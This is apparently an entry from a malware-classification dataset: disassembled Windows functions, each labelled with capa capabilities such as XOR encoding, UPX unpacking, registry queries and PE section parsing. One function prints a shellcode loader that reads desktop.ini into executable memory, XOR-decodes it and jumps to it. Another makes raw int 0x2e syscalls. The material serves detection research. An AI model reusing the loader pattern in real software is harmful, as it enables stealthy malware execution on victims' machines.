joyce8/EMBER2024-capa huggingface dataset:
Function at 0x466be0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 8
mov ecx, eax
and ecx, reloc.OLEAUT32.dll_VariantInit
jns 0x466bf6
dec ecx
or ecx, 0xfffffff8
inc ecx
je 0x466c01
mov eax, 0xfffff400
add esp, 8
ret
mov ecx, dword [esp + 0x10]
push ebx
push ebp
push esi
cmp ecx, 1
push edi
jne 0x466c7e
test eax, eax
jle 0x466ce7
mov ecx, dword [esp + 0x28]
mov esi, dword [esp + 0x30]
mov edi, dword [esp + 0x2c]
add eax, 7
shr eax, 3
mov dword [esp + 0x24], eax
mov ebp, esi
sub ecx, edi
mov eax, edi
sub ebp, edi
mov edx, 8
mov bl, byte [ecx + eax]
xor bl, byte [eax]
inc eax
dec edx
mov byte [eax + ebp - 1], bl
jne 0x466c39
mov edx, dword [esp + 0x1c]
push esi
push esi
push edx
call fcn.00466910
mov ecx, dword [esp + 0x34]
mov eax, dword [esi]
add esp, 0xc
add edi, 8
mov dword [ecx], eax
mov edx, dword [esi + 4]
mov eax, dword [esp + 0x24]
add esi, 8
dec eax
mov dword [ecx + 4], edx
mov dword [esp + 0x24], eax
jne 0x466c2c
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
test eax, eax
jle 0x466ce7
mov ebp, dword [esp + 0x28]
mov edi, dword [esp + 0x30]
mov esi, dword [esp + 0x2c]
add eax, 7
shr eax, 3
mov dword [esp + 0x24], eax
mov edx, dword [esp + 0x1c]
mov eax, dword [esi]
mov ecx, dword [esi + 4]
push edi
push esi
push edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
call fcn.00466910
mov ecx, ebp
add esp, 0xc
mov eax, edi
sub ecx, edi
mov edx, 8
mov bl, byte [ecx + eax]
xor byte [eax], bl
inc eax
dec edx
jne 0x466cbf
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov dword [ebp], eax
mov eax, dword [esp + 0x24]
add esi, 8
add edi, 8
dec eax
mov dword [ebp + 4], ecx
mov dword [esp + 0x24], eax
jne 0x466c98
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
Function at 0x46b790
Capabilities:
Access the windows event log

Disassembly:
mov eax, 0x108
call fcn.0043c8a0
mov eax, dword [0x4a55d0]
xor eax, esp
mov dword [esp + 0x104], eax
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
test eax, eax
je 0x46b7f5
push eax
call dword [sym.imp.KERNEL32.dll_GetFileType]
test eax, eax
je 0x46b7f5
mov ecx, dword [esp + 0x10c]
lea eax, [esp + 0x110]
push eax
push ecx
call fcn.00441b15
add eax, 0x40
push eax
call fcn.00480656
add esp, 0xc
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.0043675a
add esp, 0x108
ret
mov eax, dword [esp + 0x10c]
lea edx, [esp + 0x110]
push edx
push eax
lea ecx, [esp + 0xc]
push 0xff
push ecx
call fcn.004801ce
add esp, 0x10
mov byte [esp + 0x103], 0
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x46b884
call fcn.0046b6b0
test eax, eax
je 0x46b884
push esi
push str.OPENSSL
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
push 0
mov esi, eax
lea eax, [esp + 8]
push eax
push 0
push 1
push 0
push 0
push 0
push 1
lea edx, [esp + 0x28]
push esi
mov dword [esp + 0x28], edx
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
pop esi
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.0043675a
add esp, 0x108
ret
push 0x10
push str.OpenSSL:_FATAL
lea ecx, [esp + 0xc]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.0043675a
add esp, 0x108
ret
Function at 0x46f370
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x28
call fcn.0043c8a0
mov eax, dword [0x4a55d0]
xor eax, esp
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x3c]
push ebx
mov ebx, dword [esp + 0x3c]
push ebp
mov ebp, dword [esp + 0x38]
dec ebp
lea edx, [ebp - 0x29]
cmp ebx, edx
push edi
mov edi, dword [esp + 0x38]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
jle 0x46f3d5
push 0x2d
push str..crypto_rsa_rsa_oaep.c
push 0x6e
push 0x79
push 4
call fcn.0046aec0
add esp, 0x14
pop edi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.0043675a
add esp, 0x28
ret
cmp ebp, 0x29
jge 0x46f403
push 0x33
push str..crypto_rsa_rsa_oaep.c
push 0x78
push 0x79
push 4
call fcn.0046aec0
add esp, 0x14
pop edi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.0043675a
add esp, 0x28
ret
push 0x37
lea eax, [ebp - 0x14]
push str..crypto_rsa_rsa_oaep.c
push eax
mov dword [esp + 0x18], eax
call fcn.0046ac90
add esp, 0xc
mov dword [esp + 0x10], eax
test eax, eax
jne 0x46f44b
push 0x3a
push str..crypto_rsa_rsa_oaep.c
push 0x41
push 0x79
push 4
call fcn.0046aec0
add esp, 0x14
pop edi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.0043675a
add esp, 0x28
ret
push esi
mov byte [edi], 0
lea esi, [edi + 1]
push 0
add edi, 0x15
call fcn.00474f50
mov ecx, dword [esp + 0x20]
push eax
mov eax, dword [esp + 0x58]
push 0
push edi
push eax
push ecx
call fcn.00474e60
mov edx, ebp
sub edx, ebx
sub edx, 0x29
push edx
lea eax, [edi + 0x14]
push 0
push eax
call fcn.0043abe0
mov edx, dword [esp + 0x3c]
mov ecx, edi
sub ecx, ebx
add ebp, ecx
push ebx
mov byte [ebp - 0x15], 1
push edx
add ebp, 0xffffffec
push ebp
call fcn.0043ca60
push 0x14
push esi
call fcn.0046d6f0
add esp, 0x38
test eax, eax
jg 0x46f4bf
pop esi
pop edi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.0043675a
add esp, 0x28
ret
call fcn.00474f50
mov ebx, dword [esp + 0x10]
mov ebp, dword [esp + 0x14]
push eax
push 0x14
push esi
push ebx
push ebp
call fcn.0046f230
add esp, 0x14
test ebx, ebx
jle 0x46f4ef
mov eax, edi
sub ebp, edi
mov ecx, ebx
mov dl, byte [eax + ebp]
xor byte [eax], dl
inc eax
sub ecx, 1
jne 0x46f4e4
call fcn.00474f50
push eax
push ebx
push edi
lea eax, [esp + 0x2c]
push 0x14
push eax
call fcn.0046f230
lea ecx, [esp + 0x34]
lea edi, [esp + 0x35]
lea ebp, [esp + 0x36]
lea edx, [esp + 0x37]
sub ecx, esi
sub edi, esi
sub ebp, esi
sub edx, esi
lea ebx, [esp + 0x38]
add esp, 0x14
sub ebx, esi
mov eax, esi
mov dword [esp + 0x10], ebx
mov esi, 4
nop
movzx ebx, byte [ecx + eax]
xor byte [eax], bl
movzx ebx, byte [edi + eax]
xor byte [eax + 1], bl
movzx ebx, byte [eax + ebp]
xor byte [eax + 2], bl
movzx ebx, byte [edx + eax]
xor byte [eax + 3], bl
mov ebx, dword [esp + 0x10]
movzx ebx, byte [ebx + eax]
xor byte [eax + 4], bl
add eax, 5
sub esi, 1
jne 0x46f530
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0046ae40
mov ecx, dword [esp + 0x38]
add esp, 4
lea eax, [esi + 1]
pop esi
pop edi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043675a
add esp, 0x28
ret
Function at 0x46fb80
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 0x14]
cmp dword [esp + 0x18], esi
jne 0x46fc4c
mov ecx, dword [esp + 0x10]
mov al, byte [ecx]
cmp al, 0x6a
je 0x46fba1
cmp al, 0x6b
jne 0x46fc4c
lea edx, [ecx + 1]
cmp al, 0x6b
jne 0x46fc0d
add esi, 0xfffffffd
xor ecx, ecx
test esi, esi
jle 0x46fbc1
mov al, byte [edx]
inc edx
cmp al, 0xba
je 0x46fbc1
cmp al, 0xbb
jne 0x46fbea
inc ecx
cmp ecx, esi
jl 0x46fbb1
sub esi, ecx
test ecx, ecx
jne 0x46fc10
push 0x8a
push str..crypto_rsa_rsa_x931.c
push 0x8a
push 0x80
push 4
call fcn.0046aec0
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
push 0x81
push str..crypto_rsa_rsa_x931.c
push 0x8a
push 0x80
push 4
call fcn.0046aec0
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
add esi, 0xfffffffe
cmp byte [esi + edx], 0xcc
je 0x46fc39
push 0x93
push str..crypto_rsa_rsa_x931.c
push 0x8b
push 0x80
push 4
call fcn.0046aec0
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
mov eax, dword [esp + 8]
push esi
push edx
push eax
call fcn.0043ca60
add esp, 0xc
mov eax, esi
pop esi
ret
push 0x72
push str..crypto_rsa_rsa_x931.c
push 0x89
push 0x80
push 4
call fcn.0046aec0
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
Function at 0x427b60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x21000]
push edi
or ebp, 0xffffffff
jmp 0x427b82
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x427b89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x427b78
mov eax, 1
add ebx, ebx
jne 0x427b9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x427b90
jne 0x427bac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x427b90
xor ecx, ecx
sub eax, 3
jb 0x427bc0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x427c32
mov ebp, eax
add ebx, ebx
jne 0x427bcb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x427bd8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x427bfc
inc ecx
add ebx, ebx
jne 0x427be8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x427bdd
jne 0x427bf9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x427bdd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x427c1c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x427c0d
jmp 0x427b7e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x427c1c
add edi, ecx
jmp 0x427b7e
pop esi
mov edi, esi
mov ecx, 0x43b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x427c3a
cmp byte [edi], 0
jne 0x427c3a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x427c3f
lea edi, [esi + 0x25000]

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4011e4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41a284]
jne 0x4011ee
repz ret
jmp fcn.00401a10

Function at 0x406d82
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004056e8
and dword [ebp - 4], 0
cmp dword [0x41b838], 0
mov ebx, eax
jne 0x406e33
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406ee4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x417994
push edi
call esi
test eax, eax
je 0x406ee4
push eax
call fcn.00405676
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x41b838], eax
call esi
push eax
call fcn.00405676
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41b83c], eax
call esi
push eax
call fcn.00405676
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x41b840], eax
call esi
push eax
call fcn.00405676
pop ecx
mov dword [0x41b848], eax
test eax, eax
je 0x406e33
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405676
pop ecx
mov dword [0x41b844], eax
mov eax, dword [0x41b844]
cmp eax, ebx
je 0x406e8b
cmp dword [0x41b848], ebx
je 0x406e8b
push eax
call fcn.004056f1
push dword [0x41b848]
mov esi, eax
call fcn.004056f1
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406e8b
test edi, edi
je 0x406e8b
call esi
test eax, eax
je 0x406e82
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406e82
test byte [ebp - 0xc], 1
jne 0x406e8b
or dword [ebp + 0x10], 0x200000
jmp 0x406ec4
mov eax, dword [0x41b83c]
cmp eax, ebx
je 0x406ec4
push eax
call fcn.004056f1
pop ecx
test eax, eax
je 0x406ec4
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406ec4
mov eax, dword [0x41b840]
cmp eax, ebx
je 0x406ec4
push eax
call fcn.004056f1
pop ecx
test eax, eax
je 0x406ec4
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41b838]
call fcn.004056f1
pop ecx
test eax, eax
je 0x406ee4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406ee6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x56e370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x56e38e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x595074
push ecx
mov edi, eax
call fcn.005817c8
mov esi, eax
add esp, 8
test esi, esi
jne 0x56e3cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.0058165e
push esi
call fcn.005815e1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x570920
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x57097e
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x5b2a78
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x57098a
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00581811
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x57097e
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x5b2a78
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x5709fa
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.005823a2
xor esi, esi
add esp, 8
cmp eax, esi
je 0x570a27
mov word [eax], si
add eax, 2
push eax
call fcn.00582350
add esp, 4
jmp 0x570a29
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x57097e
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x570980
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x5710c0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x571150
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0x571194
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0x59538c
push ecx
call fcn.00581811
lea edx, [esp + 0x38]
push esi
push edx
call fcn.00581811
add esp, 0x10
jmp 0x5711a2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.0058183b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.0058142f
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00571120
mov eax, dword [0x5b2a80]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0x57120b
push esi
call fcn.00571080
add esp, 4
mov dword [0x5b2a80], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0x57121c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.005710c0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0x5743e0
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0x574457
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x57442e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x574411
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x57441e
add edx, ecx
cmp ebx, edx
jb 0x57442a
inc edi
add eax, 0x28
cmp edi, esi
jb 0x574407
xor ecx, ecx
jmp 0x574442
test eax, eax
jne 0x574432
xor ecx, ecx
jmp 0x574442
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.00574360
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0x574750
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x574781
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0x5747a6
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0x5747ce
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0x5747f3
push ecx
push esi
call fcn.00574460
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret
Function at 0x575830
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
sub esp, 0x10
push ebx
mov ebx, dword [ecx + 0xa0]
push ebp
push esi
test ebx, ebx
push edi
je 0x575955
xor eax, eax
xor esi, esi
mov ax, word [ecx + 0x14]
mov si, word [ecx + 6]
xor edi, edi
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x575955
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x57586d
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x57587a
add edx, ecx
cmp ebx, edx
jb 0x57588a
inc edi
add eax, 0x28
cmp edi, esi
jb 0x575863
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
test eax, eax
je 0x575955
mov edi, dword [eax + 0x14]
mov edx, dword [eax + 0xc]
mov eax, dword [esp + 0x24]
sub edi, edx
add edi, ebx
add edi, eax
je 0x575955
mov esi, dword [edi + 4]
test esi, esi
je 0x575955
cmp dword [edi], 0
je 0x575955
cmp esi, 8
jb 0x575955
mov eax, dword [esp + 0x2c]
mov ecx, edi
add esi, 0xfffffff8
lea ebp, [edi + 8]
mov edx, dword [eax]
sub ecx, edx
lea edx, [esp + 0x28]
mov dword [esp + 0x28], ecx
lea ecx, [eax + 8]
lea eax, [esp + 0x10]
push edx
push eax
shr esi, 1
call fcn.00574b40
test esi, esi
mov dword [esp + 0x28], 0
jbe 0x575947
mov ax, word [ebp]
mov bx, ax
shr bx, 0xc
cmp bx, 3
jne 0x57592d
mov ecx, dword [edi]
and eax, 0xfff
add eax, ecx
lea ecx, [esp + 0x24]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x18]
push ecx
push edx
lea ecx, [eax + 8]
call fcn.00574b40
cmp bx, 4
jne 0x575937
add ebp, 2
dec esi
mov eax, dword [esp + 0x28]
add ebp, 2
inc eax
cmp eax, esi
mov dword [esp + 0x28], eax
jb 0x5758f9
add edi, dword [edi + 4]
mov esi, dword [edi + 4]
test esi, esi
jne 0x5758b3
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x575980
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
xor ecx, ecx
mov cx, word [eax + 0x14]
xor esi, esi
mov si, word [eax + 6]
push edi
xor edi, edi
lea ecx, [ecx + eax + 0x18]
test esi, esi
jbe 0x5759ca
mov ebx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
test eax, eax
jne 0x5759ab
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx + 0xc]
cmp ebx, edx
jb 0x5759b8
add edx, eax
cmp ebx, edx
jb 0x5759c6
inc edi
add ecx, 0x28
cmp edi, esi
jb 0x5759a1
pop edi
pop esi
xor eax, eax
pop ebx
ret
test ecx, ecx
jne 0x5759d0
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0xc]
mov ecx, dword [esp + 0x18]
sub eax, esi
add eax, ebx
pop edi
pop esi
add eax, ecx
pop ebx
ret

Function at 0x5759f0
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x575a30
mov ebx, dword [esp + 0x10]
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x575a1b
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x575a28
add edx, ecx
cmp ebx, edx
jb 0x575a32
inc edi
add eax, 0x28
cmp edi, esi
jb 0x575a11
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x575c50
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00582465
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0x575ceb
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x575ccd
lea eax, [esp + 0x18]
push eax
jmp 0x575cd2
push 0x5b2a78
call fcn.00582881
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0x575ca0
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0x575c30
push 4
push ecx
push eax
call fcn.005826b3
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret
Function at 0x576000
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push 0
push 0
push 0
push edi
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00582465
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0x57609b
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x57607d
lea eax, [esp + 0x18]
push eax
jmp 0x576082
push 0x5b2a78
call fcn.00582881
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0x576050
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0x575c30
push 4
push ecx
push eax
call fcn.005826b3
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret